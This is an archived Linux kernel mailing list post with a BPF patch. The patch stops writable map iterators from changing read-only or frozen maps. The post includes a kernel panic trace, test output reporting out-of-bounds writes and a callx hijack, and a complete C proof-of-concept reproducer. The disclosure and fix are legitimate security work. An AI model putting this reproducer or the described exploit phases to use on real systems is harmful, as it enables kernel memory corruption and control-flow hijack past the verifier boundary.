mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: AdetsGithub <adethyasrinivasan@outlook.com>
To: Yonghong Song <yonghong.song@linux.dev>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>
Cc: bpf@vger.kernel.org, linux-kernel@vger.kernel.org,
	Adethya Srinivasan <adethyasrinivasan@outlook.com>
Subject: [PATCH bpf] bpf: Reject writable map iterators on read-only and frozen maps
Date: Sat,  7 Nov 2026 14:14:57 +0000	[thread overview]
Message-ID: <LO2P302MB0197FAF0305A94F7575CA700BC752@LO2P302MB0197.GBRP302.PROD.OUTLOOK.COM> (raw)

From: Adethya Srinivasan <adethyasrinivasan@outlook.com>

The bpf_map_elem and bpf_sk_storage_map iterators pass the live element
value (ctx->value) to the iterator program as a writable buffer
(PTR_TO_BUF | PTR_MAYBE_NULL) for all non-percpu map types. Since
commit 8d0358f6e8b3 ("bpf: Keep iterator programs off special map
fields"), bpf_iter_map_check_value_write() checks on Linux 7.4.0-rc1
whether a writable iterator program (prog->aux->max_rdwr_write > 0)
overlaps special BTF fields in map->record, but does not check whether
the target map has BPF_F_RDONLY_PROG set or has been frozen via
BPF_MAP_FREEZE (map->frozen).

As a result, a writable bpf_map_elem iterator can be attached to a
frozen BPF_F_RDONLY_PROG map (such as a .rodata BPF_MAP_TYPE_ARRAY or
BPF_MAP_TYPE_HASH) and triggered via read(iter_fd) to mutate its elements
in place after dependent BPF programs have already been verified.

Why this breaks verifier soundness:
1. Constant folding (check_map_load / const_fold.c): When
   bpf_map_is_rdonly(map) is true ((map->map_flags & BPF_F_RDONLY_PROG)
   && READ_ONCE(map->frozen) && !bpf_map_write_active(map)), the verifier
   folds direct loads from single-entry array maps into compile-time
   scalar constants (__mark_reg_known). Overwriting the frozen element
   via a bpf_map_elem iterator causes the runtime value to diverge from
   the verifier's folded constant, bypassing bounds checks on pointer
   arithmetic (PTR_TO_MAP_VALUE += scalar) in already-loaded programs
   and enabling out-of-bounds map reads and writes.
2. Indirect subprogram calls (find_subprog / callx): Function pointer
   tables in frozen BPF_F_RDONLY_PROG maps are resolved to live kernel
   JIT addresses at load time. Mutating the frozen slot via a
   bpf_map_elem iterator redirects indirect callx targets at runtime
   (or crashes the kernel at an arbitrary RIP such as RIP = 0x0).

Threat model evaluation (Documentation/process/threat-model.rst):
Triggering this issue requires attaching a tracing iterator program
(BPF_PROG_TYPE_TRACING / BPF_TRACE_ITER), which requires CAP_BPF and
CAP_PERFMON (or CAP_SYS_ADMIN, or a delegated BPF token). In deployments
where CAP_BPF + CAP_PERFMON or a BPF token is granted without full root /
CAP_SYS_ADMIN, the BPF verifier is the boundary preventing out-of-bounds
kernel memory access and arbitrary kernel RIP control.

In bpf_iter_map_check_value_write(), return 0 early when
!prog->aux->max_rdwr_write so read-only iterators (such as bpftool map
dump) remain permitted, and reject maps with
(map->map_flags & BPF_F_RDONLY_PROG) or READ_ONCE(map->frozen) with
-EACCES before checking map->record.

Fixes: 8d0358f6e8b3 ("bpf: Keep iterator programs off special map fields")
Fixes: d3cc2ab546ad ("bpf: Implement bpf iterator for array maps")
Fixes: d6c4503cc296 ("bpf: Implement bpf iterator for hash maps")
Fixes: 5ce6e77c7edf ("bpf: Implement bpf iterator for sock local storage map")
Signed-off-by: Adethya Srinivasan <adethyasrinivasan@outlook.com>
---
Supporting Information (per Documentation/admin-guide/reporting-issues.rst):

1. Environment & Kernel Version
-------------------------------
- Kernel version: Linux 7.4.0-rc1
- Commit: a91337fb5e8e0127c8b5be87be9f3027f95b48bc (torvalds/linux master)
- Guest uname -a:
  Linux (none) 7.4.0-rc1-ga91337fb5e8e-dirty #2 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
- Compiler & Linker:
  gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0 / GNU ld (GNU Binutils for Ubuntu) 2.46
- Virtualization / Hardware:
  QEMU/KVM x86_64 (QEMU Ubuntu 26.04 PC i440FX + PIIX, 4 vCPUs, 4 GiB RAM)
- Relevant Kernel Configuration:
  CONFIG_BPF=y
  CONFIG_BPF_SYSCALL=y
  CONFIG_BPF_JIT=y
  CONFIG_BPF_JIT_ALWAYS_ON=y
  CONFIG_DEBUG_INFO_BTF=y
  CONFIG_BPF_EVENTS=y

2. Kernel Oops / Panic Trace (Phase 3: callx slot poisoned with 0x0 via iter)
-----------------------------------------------------------------------------
When a frozen BPF_F_RDONLY_PROG array map holding resolved subprogram
addresses for callx is overwritten with 0x0 via an iter/bpf_map_elem
program, the next bpf_prog_test_run jumps to RIP = 0x0 in supervisor mode:

[    2.206756] BUG: kernel NULL pointer dereference, address: 0000000000000000
[    2.208642] #PF: supervisor instruction fetch in kernel mode
[    2.210161] #PF: error_code(0x0010) - not-present page
[    2.211586] PGD 0 P4D 0
[    2.212467] Oops: Oops: 0010 [#1] SMP NOPTI
[    2.213677] CPU: 2 UID: 0 PID: 131 Comm: test_progs Tainted: G           OE       7.4.0-rc1-ga91337fb5e8e-dirty #2 PREEMPT(full)
[    2.216684] Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE
[    2.218417] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[    2.221558] RIP: 0010:0x0
[    2.222602] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
[    2.224465] RSP: 0018:ffff9a1b40a47b40 EFLAGS: 00010202
[    2.225995] RAX: ffffffffc0200768 RBX: ffff8fbb42073900 RCX: ffff8fbb42073900
[    2.227953] RDX: 0000000000000246 RSI: 0000000000000000 RDI: 000000000000000a
[    2.229738] RBP: ffff9a1b40a47b48 R08: 0000000000000000 R09: 0000000000000001
[    2.231506] R10: 0000000000000001 R11: ffff8fbb42074448 R12: ffff9a1b401f2000
[    2.233284] R13: ffff9a1b40a47be0 R14: ffff9a1b40a47bc8 R15: ffff8fbb40bd9800
[    2.235046] FS:  00007fd7dbc82940(0000) GS:ffff8fbbe5d7e000(0000) knlGS:0000000000000000
[    2.236977] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    2.238445] CR2: ffffffffffffffd6 CR3: 000000010321c004 CR4: 0000000000770ef0
[    2.240044] PKRU: 55555554
[    2.240624] Call Trace:
[    2.241129]  <TASK>
[    2.241590]  bpf_prog_201991bb12c96cf7_main_prog+0x28/0x2a
[    2.242674]  bpf_test_run+0x1ff/0x440
[    2.243403]  ? bpf_test_run+0x11f/0x440
[    2.244194]  bpf_prog_test_run_skb+0x634/0xba0
[    2.245117]  ? lock_release+0xd1/0x2e0
[    2.245885]  __sys_bpf+0x11d7/0x3260
[    2.246622]  ? anon_pipe_write+0x2ce/0x730
[    2.247437]  ? __x64_sys_bpf+0x30/0x40
[    2.248194]  __x64_sys_bpf+0x30/0x40
[    2.248933]  do_syscall_64+0xb2/0x550
[    2.249679]  ? __irq_exit_rcu+0x2f/0x130
[    2.250480]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[    2.264423]  </TASK>
[    2.264890] Modules linked in: bpf_testmod(OE)
[    2.265785] CR2: 0000000000000000
[    2.266455] ---[ end trace 0000000000000000 ]---
[    2.267395] Kernel panic - not syncing: Fatal exception in interrupt
[    2.283591] Kernel Offset: 0x12000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[    2.285658] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---

3. Verification Output Before & After Patch
-------------------------------------------
A) Unpatched 7.4.0-rc1 (a91337fb5e8e) -- all 3 exploit phases succeed:
  ./test_progs -v -t frozen_rdonly_iter_write
  F phase-1: syscall update after freeze denied (Operation not permitted)
  F phase-1 CONFIRMED: wrote 0xdeadbeefcafebabe into frozen RDONLY_PROG ARRAY via bpf_map_elem iter
  #171/1   frozen_rdonly_iter_write/phase1_iter_write_frozen:OK
  F phase-2: victim accepted with frozen rdonly scalar known=0
  F phase-2 CONFIRMED: accepted prog read data[1] after poisoning frozen rdonly offset 0->8 (verifier assumed constant 0)
  F phase-2 control: reload with *ro==8 rejected (expected)
  F phase-2 WRITE CONFIRMED: corrupted data[1]=0xdeadbeefcafebabe via under-bounded PTR_TO_MAP_VALUE
  #171/2   frozen_rdonly_iter_write/phase2_const_scalar_oob:OK
  F phase-3: resolved add1=ffffffffc0400720 add2=ffffffffc0400758
  F phase-3: pre-hijack retval=13
  F phase-3 CONFIRMED: callx hijack via iter write to frozen func-ptr map (retval 13->14).
  #171/3   frozen_rdonly_iter_write/phase3_callx_hijack:OK
  #171     frozen_rdonly_iter_write:OK

B) Patched 7.4.0-rc1 -- writable iterator rejected with -EACCES on all phases:
  ./test_progs -v -t frozen_rdonly_iter_write
  F phase-1: syscall update after freeze denied (Operation not permitted)
  libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
  run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
  #171/1   frozen_rdonly_iter_write/phase1_iter_write_frozen:FAIL
  F phase-2: victim accepted with frozen rdonly scalar known=0
  libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
  run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
  #171/2   frozen_rdonly_iter_write/phase2_const_scalar_oob:FAIL
  F phase-3: resolved add1=ffffffffc020099c add2=ffffffffc02009cc
  F phase-3: pre-hijack retval=13
  libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
  run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
  #171/3   frozen_rdonly_iter_write/phase3_callx_hijack:FAIL

4. Minimal Standalone C Reproducer (frozen_rdonly_iter_write.c)
---------------------------------------------------------------
Build: gcc -O2 -Wall frozen_rdonly_iter_write.c -lbpf -o frozen_rdonly_iter_write
Run:   sudo ./frozen_rdonly_iter_write

/* SPDX-License-Identifier: GPL-2.0 */
#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <linux/bpf.h>

#ifndef BPF_F_RDONLY_PROG
#define BPF_F_RDONLY_PROG	(1U << 7)
#endif

#define SAFE_VAL	0x11111111ull
#define POISON_VAL	0xdeadbeefcafebabeull
#define CTX_VALUE_OFF	24

#ifndef BPF_MOV64_REG
#define BPF_MOV64_REG(DST, SRC) \
	((struct bpf_insn){ .code = BPF_ALU64 | BPF_MOV | BPF_X, .dst_reg = DST, .src_reg = SRC })
#define BPF_MOV64_IMM(DST, IMM) \
	((struct bpf_insn){ .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = DST, .imm = IMM })
#define BPF_LDX_MEM(SZ, DST, SRC, OFF) \
	((struct bpf_insn){ .code = BPF_LDX | (SZ) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF })
#define BPF_STX_MEM(SZ, DST, SRC, OFF) \
	((struct bpf_insn){ .code = BPF_STX | (SZ) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
	((struct bpf_insn){ .code = BPF_JMP | (OP) | BPF_K, .dst_reg = DST, .off = OFF, .imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
	((struct bpf_insn){ .code = BPF_LD | BPF_DW | BPF_IMM, .dst_reg = DST, .imm = (__u32)(IMM) }), \
	((struct bpf_insn){ .imm = (__u32)((__u64)(IMM) >> 32) })
#define BPF_EXIT_INSN() \
	((struct bpf_insn){ .code = BPF_JMP | BPF_EXIT })
#endif

static int load_poison_iter(void)
{
	struct bpf_insn insns[] = {
		BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
		BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, CTX_VALUE_OFF),
		BPF_JMP_IMM(BPF_JEQ, BPF_REG_1, 0, 3),
		BPF_LD_IMM64(BPF_REG_2, POISON_VAL),
		BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0),
		BPF_MOV64_IMM(BPF_REG_0, 0),
		BPF_EXIT_INSN(),
	};
	LIBBPF_OPTS(bpf_prog_load_opts, opts,
		    .expected_attach_type = BPF_TRACE_ITER);

	opts.attach_btf_id = libbpf_find_vmlinux_btf_id("bpf_map_elem",
							BPF_TRACE_ITER);
	if (opts.attach_btf_id <= 0)
		return -1;

	return bpf_prog_load(BPF_PROG_TYPE_TRACING, "poison_iter", "GPL",
			     insns, sizeof(insns) / sizeof(insns[0]), &opts);
}

int main(void)
{
	LIBBPF_OPTS(bpf_map_create_opts, mopts, .map_flags = BPF_F_RDONLY_PROG);
	LIBBPF_OPTS(bpf_iter_attach_opts, iopts);
	union bpf_iter_link_info linfo = {};
	__u32 key = 0;
	__u64 val = SAFE_VAL, out = 0;
	int map_fd = -1, prog_fd = -1, link_fd = -1, iter_fd = -1;
	char buf[64];
	int err, ret = 1;
	ssize_t n;

	map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, "f_ro", sizeof(key),
				sizeof(val), 1, &mopts);
	if (map_fd < 0)
		return 1;

	if (bpf_map_update_elem(map_fd, &key, &val, BPF_ANY) ||
	    bpf_map_freeze(map_fd))
		goto out;

	val = 0x22222222ull;
	err = bpf_map_update_elem(map_fd, &key, &val, BPF_ANY);
	if (!err)
		goto out;
	printf("[+] syscall update after freeze denied (%s)\n", strerror(errno));

	prog_fd = load_poison_iter();
	if (prog_fd < 0)
		goto out;

	linfo.map.map_fd = map_fd;
	iopts.link_info = &linfo;
	iopts.link_info_len = sizeof(linfo);
	link_fd = bpf_link_create(prog_fd, 0, BPF_TRACE_ITER, &iopts);
	if (link_fd < 0) {
		printf("[+] link_create rejected on patched kernel: %s\n",
		       strerror(errno));
		goto out;
	}

	iter_fd = bpf_iter_create(link_fd);
	if (iter_fd < 0)
		goto out;

	n = read(iter_fd, buf, sizeof(buf));
	if (n < 0)
		goto out;

	if (!bpf_map_lookup_elem(map_fd, &key, &out) && out == POISON_VAL) {
		printf("[!] VULNERABLE: frozen rdonly map mutated to 0x%llx\n",
		       (unsigned long long)out);
		ret = 0;
	}

out:
	if (iter_fd >= 0)
		close(iter_fd);
	if (link_fd >= 0)
		close(link_fd);
	if (prog_fd >= 0)
		close(prog_fd);
	if (map_fd >= 0)
		close(map_fd);
	return ret;
}

 kernel/bpf/map_iter.c | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/kernel/bpf/map_iter.c b/kernel/bpf/map_iter.c
index a58c148692e6..b9c2135a4b8c 100644
--- a/kernel/bpf/map_iter.c
+++ b/kernel/bpf/map_iter.c
@@ -100,15 +100,21 @@ static struct bpf_iter_reg bpf_map_reg_info = {
 /*
  * For an iterator that hands the live map value to the program as a writable
- * buffer: the verifier knows nothing of the map, so the special fields of the
- * value have to lie outside of what the program may write.
+ * buffer: the verifier knows nothing of the map, so read-only / frozen maps
+ * and special fields of the value have to be protected from writes.
  */
 int bpf_iter_map_check_value_write(const struct bpf_prog *prog,
 				   const struct bpf_map *map)
 {
 	const struct btf_record *rec = map->record;
 	const struct btf_field *field;
 	u32 i;
 
-	if (IS_ERR_OR_NULL(rec) || !prog->aux->max_rdwr_write)
+	if (!prog->aux->max_rdwr_write)
+		return 0;
+
+	if ((map->map_flags & BPF_F_RDONLY_PROG) || READ_ONCE(map->frozen))
+		return -EACCES;
+
+	if (IS_ERR_OR_NULL(rec))
 		return 0;
 
 	for (i = 0; i < rec->cnt; i++) {
-- 
2.43.0

             reply	other threads:[~2026-11-07 14:15 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-11-07 14:14 AdetsGithub [this message]
2026-11-07 14:49 ` bot+bpf-ci

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=LO2P302MB0197FAF0305A94F7575CA700BC752@LO2P302MB0197.GBRP302.PROD.OUTLOOK.COM \
    --to=adethyasrinivasan@outlook.com \
    --cc=andrii@kernel.org \
    --cc=ast@kernel.org \
    --cc=bpf@vger.kernel.org \
    --cc=daniel@iogearbox.net \
    --cc=eddyz87@gmail.com \
    --cc=linux-kernel@vger.kernel.org \
    --cc=memxor@gmail.com \
    --cc=yonghong.song@linux.dev \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®